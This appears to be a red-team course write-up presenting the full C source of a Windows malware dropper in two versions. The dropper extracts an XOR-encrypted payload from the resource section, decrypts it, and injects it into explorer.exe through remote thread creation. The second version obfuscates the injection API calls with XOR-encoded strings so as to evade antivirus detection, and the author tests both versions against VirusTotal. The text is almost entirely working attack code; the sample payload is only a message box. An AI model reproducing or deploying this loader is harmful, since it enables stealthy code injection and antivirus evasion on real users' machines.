Dropper Project
Combining all what we learned into a one project
Final Project :
final project is in my github :
this project will combine all the techniques we have learned so far from encryption and decryption, function call obfuscation, process injection ...etc
we will create a dropper which will decrypt a payload from resources section .rsrc and inject it into explorer.exe process
the payload is a 64bit MessageBox (64bit because it will be injected in explorer.exe process which is 64bit)
Final Dropper :
extract payload from .rsrc section
decrypt payload (XOR)
inject payload into explorer.exe process
hide the console window popup when the program is executed
function call obfuscation
Code :
without function call obfuscation :
/*
Red Team Operator course code template
storing payload in .rsrc section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
// Create a snapshot of the system processes
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Check if the snapshot creation was successful
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process entry in the snapshot
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
// Iterate through the processes in the snapshot
while (Process32Next(hProcSnap, &pe32)) {
// Compare the process name with the provided name (Case-Insensitive)
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
// Process name matches, store the process ID
pid = pe32.th32ProcessID;
break;
}
}
// Close the handle to the snapshot
CloseHandle(hProcSnap);
// Return the process ID (0 if not found)
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
// Allocate memory in the remote process to store the payload
pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
// Write the payload to the allocated memory in the remote process
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
// Create a remote thread in the remote process, starting at the address of the allocated memory
hThread = CreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
// Wait for the remote thread to finish executing (500 milliseconds timeout)
WaitForSingleObject(hThread, 500);
// Close the handle to the remote thread
CloseHandle(hThread);
// Return 0 to indicate success
return 0;
}
// Return -1 to indicate failure
return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
int pid = 0;
HANDLE hProc = NULL;
unsigned char * payload;
unsigned int payload_len;
char key[] = "mysecretkeee";
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Decrypt (DeXOR) the payload which exists in the allocated memory exec_mem
XOR((char *) exec_mem, payload_len, key, sizeof(key));
// Process Injection starts HERE...
// Find the process ID (PID) of the target process (in this case, explorer.exe)
pid = FindTarget("explorer.exe");
if (pid) {
// Try to open the target process with specific access rights
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
// Call the Inject function to inject the decrypted payload (exec_mem) into the target process
Inject(hProc, exec_mem, payload_len);
// Close the handle to the target process
CloseHandle(hProc);
}
}
return 0;
}
let's upload it to virus total
Code :
with function call obfuscation
we obfuscated 3 functions (VirtualAllocEx, WriteProcessMemory, CreateRemoteThread) in the Inject function
/*
Red Team Operator course code template
storing payload in .rsrc section
author: reenz0h (twitter: @sektor7net)
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <tlhelp32.h>
#include "resources.h"
LPVOID (WINAPI * pVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
BOOL (WINAPI * pWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
HANDLE (WINAPI * pCreateRemoteThread)(HANDLE hProcess, LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId);
char key[] = "mysecretkeee";
void XOR(char * data, size_t data_len, char * key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
int FindTarget(const char *procname) {
HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;
// Create a snapshot of the system processes
hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
// Check if the snapshot creation was successful
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
// Get the first process entry in the snapshot
if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}
// Iterate through the processes in the snapshot
while (Process32Next(hProcSnap, &pe32)) {
// Compare the process name with the provided name (Case-Insensitive)
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
// Process name matches, store the process ID
pid = pe32.th32ProcessID;
break;
}
}
// Close the handle to the snapshot
CloseHandle(hProcSnap);
// Return the process ID (0 if not found)
return pid;
}
int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
char sVirtualAllocEx[] = { 0x3b, 0x10, 0x1, 0x11, 0x16, 0x13, 0x9, 0x35, 0x7, 0x9, 0xa, 0x6, 0x28, 0x1 };
char sWriteProcessMemory[] = { 0x3a, 0xb, 0x1a, 0x11, 0x6, 0x22, 0x17, 0x1b, 0x8, 0x0, 0x16, 0x16, 0x20, 0x1c, 0x1e, 0xa, 0x11, 0xb };
char sCreateRemoteThread[] = { 0x2e, 0xb, 0x16, 0x4, 0x17, 0x17, 0x37, 0x11, 0x6, 0xa, 0x11, 0x0, 0x39, 0x11, 0x1, 0x0, 0x2, 0x16 };
// Decrypt (DeXOR) the strings sVirtualAllocEx, sWriteProcessMemory and sCreateRemoteThread
XOR((char *) sVirtualAllocEx, sizeof(sVirtualAllocEx), key, sizeof(key));
XOR((char *) sWriteProcessMemory, sizeof(sWriteProcessMemory), key, sizeof(key));
XOR((char *) sCreateRemoteThread, sizeof(sCreateRemoteThread), key, sizeof(key));
//resolving function addresses dynamically using GetProcAddress and GetModuleHandle
pVirtualAllocEx = GetProcAddress(GetModuleHandle("Kernel32.dll"), sVirtualAllocEx);
pWriteProcessMemory = GetProcAddress(GetModuleHandle("Kernel32.dll"), sWriteProcessMemory);
pCreateRemoteThread = GetProcAddress(GetModuleHandle("Kernel32.dll"), sCreateRemoteThread);
// Allocate memory in the remote process to store the payload
pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
// Write the payload to the allocated memory in the remote process
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
// Create a remote thread in the remote process, starting at the address of the allocated memory
hThread = pCreateRemoteThread(hProc, NULL, 0, pRemoteCode, NULL, 0, NULL);
if (hThread != NULL) {
// Wait for the remote thread to finish executing (500 milliseconds timeout)
WaitForSingleObject(hThread, 500);
// Close the handle to the remote thread
CloseHandle(hThread);
// Return 0 to indicate success
return 0;
}
// Return -1 to indicate failure
return -1;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
void * exec_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
HGLOBAL resHandle = NULL;
HRSRC res;
int pid = 0;
HANDLE hProc = NULL;
unsigned char * payload;
unsigned int payload_len;
// Extract payload from resources section
res = FindResource(NULL, MAKEINTRESOURCE(FAVICON_ICO), RT_RCDATA);
resHandle = LoadResource(NULL, res);
payload = (char *) LockResource(resHandle);
payload_len = SizeofResource(NULL, res);
// Allocate some memory buffer for payload
exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// Copy payload to new memory buffer
RtlMoveMemory(exec_mem, payload, payload_len);
// Decrypt (DeXOR) the payload which exists in the allocated memory exec_mem
XOR((char *) exec_mem, payload_len, key, sizeof(key));
// Process Injection starts HERE...
// Find the process ID (PID) of the target process (in this case, explorer.exe)
pid = FindTarget("explorer.exe");
if (pid) {
// Try to open the target process with specific access rights
hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);
if (hProc != NULL) {
// Call the Inject function to inject the decrypted payload (exec_mem) into the target process
Inject(hProc, exec_mem, payload_len);
// Close the handle to the target process
CloseHandle(hProc);
}
}
return 0;
}
let's upload it to virus total :
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